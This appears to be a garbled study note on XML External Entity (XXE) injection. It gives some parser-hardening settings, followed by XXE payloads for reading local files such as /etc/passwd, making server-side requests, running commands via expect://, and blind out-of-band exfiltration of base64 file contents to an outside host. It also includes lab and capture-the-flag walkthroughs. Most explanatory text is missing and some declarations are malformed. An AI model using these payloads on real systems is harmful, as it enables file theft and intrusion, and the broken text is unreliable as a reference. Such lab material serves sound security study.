



WEB -XXE&XML



XML	XML	XML
DTD		
HTML		XXE
XML External Entity Injection	xml	XXE
XML		

XML HTML

XML

HTML

HTML

XML

<!--XML -->

<?xml version="1.0"?>

<!-- -->

<!DOCTYPE note [<!-- note -->

<!ELEMENT note (to,from,heading,body)> <!-- note -->

<!ELEMENT to (#PCDATA)> <!-- to #PCDATA1/2 -->

<!ELEMENT from (#PCDATA)> <!-- from #PCDATA1/2 -->

<!ELEMENT head (#PCDATA)> <!-- head #PCDATA1/2 -->

<!ELEMENT body (#PCDATA)> <!-- body #PCDATA1/2 -->

]]>

<!-- -->

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>You are a good man</body>

</note>

#DTD

DTD

XML

DTD

XML

1 DOCTYPE

<!DOCTYPE []>

2

<!DOCTYPE SYSTEM 1/2 1/2

#DTD

1

<!ENTITY 1/2 1/2

2

<!ENTITY SYSTEM 1/2 1/2

3

<!ENTITY % 1/2 1/2

<!ENTITY % SYSTEM 1/2 1/2

#xxe

-php,java,python-

1-

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory

dbf

=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

```
# 2- XML
<!DOCTYPE <!ENTITY SYSTEM PUBLIC
```



pikachu xml - , , ,

```
# -
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
```

```
# -
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>
```

```
# -RCE
CASE expect PHP
```

```
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
```

```
# dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
```

```
# -
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>
```

```
test.dtd
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
```

```
# -
https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
```

xxe-lab xml -

```
1. XML
<forgot><username>admin</username></forgot>
2.
Content-Type text/xml    Content-type:application/xml
```

```
<?xml version="1.0"?>
```

```
<!DOCTYPE Mikasa [
<ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
```

CTF-Vulnhub-XXE

```
IP -> -> xxe -> xxe -> flag -> base32 64
->php ->flag
<?xml version="1.0" ?>
<!DOCTYPE r [
<ELEMENT r ANY >
<ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
```

CTF-Jarvis-OJ-Web-XXE

```
http://web.jarvisoj.com:9882/
application/xml
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
```

xxe

-XXEinjector(Ruby)

<https://www.cnblogs.com/bmjoker/p/9614990.html>
xxe_payload_fuzz



<http://web.jarvisoj.com:9882/>

<https://github.com/c0ny1/xxe-lab>

<https://github.com/enjoiz/XXEinjector>

<https://download.vulnhub.com/xxe/XXE.zip>

<https://www.cnblogs.com/bmjoker/p/9614990.html>